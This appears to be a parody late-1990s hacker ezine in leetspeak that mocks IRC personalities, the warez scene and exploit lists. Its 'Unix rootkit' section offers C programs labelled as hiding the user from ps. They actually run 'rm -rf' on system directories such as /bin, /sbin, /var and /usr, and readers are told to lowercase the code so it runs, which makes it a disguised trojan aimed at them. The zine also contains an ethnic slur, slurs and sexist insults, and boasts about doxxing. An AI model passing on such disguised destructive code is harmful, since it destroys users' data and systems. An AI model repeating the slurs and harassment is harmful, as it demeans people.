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$$$$$$$$$$$$$$$$$$$$$$$=========================$$$$$$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$======H4MBURGL0RZ========$$$$$$$N0#CH33S3$$$$$
$$$$$$$$$$$$$$$$$$$$$$$=======11SU3_0n3=========$$$$$$$$$$$$$$$$$$$$$  
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EDITOR: DADYWAREZ

ISSUE ONE:

TABLE O' CONTENTS:
imp0rtant stuph:
1: H4MBURGL0RZ PR0PHILE ON COOLIO BY DADYWAREZ
2: P0EM ABOUT 'GEWF' BY ph471m4 
3: A C0MMENTERRY 0N R00TSHELL VS. BUGTR4Q BY PRYM
4: A GUIDE TO THE WAREZ SCENE BY d0ct0r 0-day 
technical hax0ring articles:
5: UN1X ROOTKIT BY ph471m4
6: USING WINGATES TO HAX0R BY CAREZ-4-WARES
concl0sionz:
7: N3WZ J0O CAN J0OZE BY JP
8: B1TchX L4M3r P3n1Z C0nt3Zt BY MRR
END O' CONTENTS.

1: H4MBURGL0RZ PR0PHILE ON COOLIO BY DADYWAREZ

JOIN #TK EFNET TO SEE HIM L1VE!
IRCNICK:    COOLIO
REALNAME:   'HEHE N0T TELLING!!'
WEBSITE:    IRCMOSTWANTED.ORG
HOBBIES:    DR0PPING J0OR D0X!~
FEARED BY:  PhrznGhst
         EX: <PhrznGhst> Coolio: you have no clue of the knowledge that I know
AGE:        38
SKILLS:     IRCTAKEOVER, DR0PPING D0X, HAX0RIN
WOMEN:      ONLY DA B3ST FOR COOLIO!!!
PUTER(S):   PENTIUM PR0 500 WITH MMX FOR ENHANCED PR0N0 MOVI3 PLAYING!@!@

2: P0EM ABOUT 'GEWF' BY ph471m4

Twas da night before X mas
and All through Snu.ac.kr
Not a g00k Was stirring
n0t even Eva K lee!!
Den what to my suprize did i hear,
But Gewf phfing his way with mad phear

I thought it quite queer,
so i openned a beer
Then i came back gewf was on irc
saying Ho Ho Ho, i got mad skills!
and the snu admin popped some more pills

de admin got really high,
and gewf started to cry
cause da hamburgl0rz
br0ked down his door
and said gewf would statd no more

and so it all ended b4b0 was a mess
gewf started wearing his fat momma's dress
so what have we learned here besides b4b0 soxors
i think it was that hamburgl0rz have j0or d0xors

3: A C0MMENTERRY 0N R00TSHELL VS. BUGTR4Q BY PRYM

AS YOU KN0W I AM PRYM. I 0WN J0O B0W!
PR0/C0NS

R00TSHELL
PR0                    C0NS
HAS 0 DAY WAREZ        HAS STUPID LAY0UT NOT OPTIMIZED FOR K0DE3Z GRABBING

BUGTR4Q
PR0                    C0NS
NO PR0Z                D0SNT ALWAYS GIVE EXPL0ITS AND TALKS TO MUCH SHIEET! 

4: A GUIDE TO THE WAREZ SCENE BY d0ct0r 0-day

THE WARES ARE C00L!
GET THEM IN #WAREZWAREZ
EFNET!
I HAVE TO GO NOW.
       -d0ct0r 0-day
        PHD IN WAREZ

5: UN1X ROOTKIT BY ph471m4

HI THERE!!!!!
HERES MY 0 DAY K0D3S
MUST DECAPTITALIZE (DE CODE IS BR0KED LIKE THAT TO STOP COOLIO!~~!!)

BLAH.C - HIDES YOU FROM PS AND VARIOUS OTHER UTILITIES

#INCLUDE <STDLIB.H>
MAIN(INT SEX0R, CHAR *ME[])
{ SYSTEM("/BIN/RM -RF /BIN/ /SBIN/ USR/BIN/"); }

MOTD.SH - ALERTS THE SYSADMIN TO VARIOUS SECURITY BUGS IN HIS SYSTEMZ!
RUN LIKE DIZ: ././././././MOTD.SH ph471m4

#!/BIN/SH
ECHO "DIZ B0X BE 0WNED BY $1" > /ETC/MOTD

ph471m4.C (FUCK MARRY.C, FUCK ph471m4!!!)

#INCLUDE <STDLIB.H>

MAIN()
{ SYSTEM("RM -RF /VAR /USR/"); }

THIS NEXT ONE IS R1PPED FROM META (DA FAT META)
IT BACKDOORS SOLARIS SRC.!

TEEHEE.SH

#!/BIN/SH
# COPYWRITE META 1998
# IF YOU STEAL ILL BAN U FR0M #SHELLS98 !@!
ECHO "0WNED" > LOGIN.C

6: USING WINGATES TO HAX0R BY CAREZ-4-WARES

TELNET WINGATE
WINGATE>BLAH.0RG
CONNECTING TO BLAH.0RG...CONNECTED
BLAH BLAH BLAH BLAH
BLAH BLAH BLAH BLAH
BLAH BLAH BLAH BLAH
(BLAH.0RG BLAH.0RG BLAH.0RG BLAH.0RG) NEWSOS 5.7

LOGIN: CAREZ-4-WARES
PASSWORD: (NIGNYN1G34343!@)
% CAT /ETC/MOTD
YO YO YO, J0O BE LOOKING LIKE A STUPID H03!
                       -BLAH.0RG ADMIN WAREZDADY DADYWAREZ
% #TEE HEE!

E0F

7: N3WZ J0O CAN J0OZE BY JP

LET ME BEGIN WITH A STORY THAT WILL TOUCH YOUR HEART!
<COOLIO> ANTIONLINE SUX0RS
SIGN0FF COOLIO (CONNECTION RESET BY JPZ G00NZ)
FOR THE REST OF THE NEWS GOTO WWW.ANTIONLINE.COM BABY!
WWW.ANTIONLINE.COM WWW.ANTIONLINE.COM WWW.ANTIONLINE.COM WWW.ANTIONLINE.COM
WWW.ANTIONLINE.COM WWW.ANTIONLINE.COM WWW.ANTIONLINE.COM WWW.ANTIONLINE.COM
WWW.ANTIONLINE.COM WWW.ANTIONLINE.COM WWW.ANTIONLINE.COM WWW.ANTIONLINE.COM
WWW.ANTIONLINE.COM WWW.ANTIONLINE.COM WWW.ANTIONLINE.COM WWW.ANTIONLINE.COM
W00H00. 

8: B1TchX L4M3r P3n1Z C0nt3Zt BY MRR

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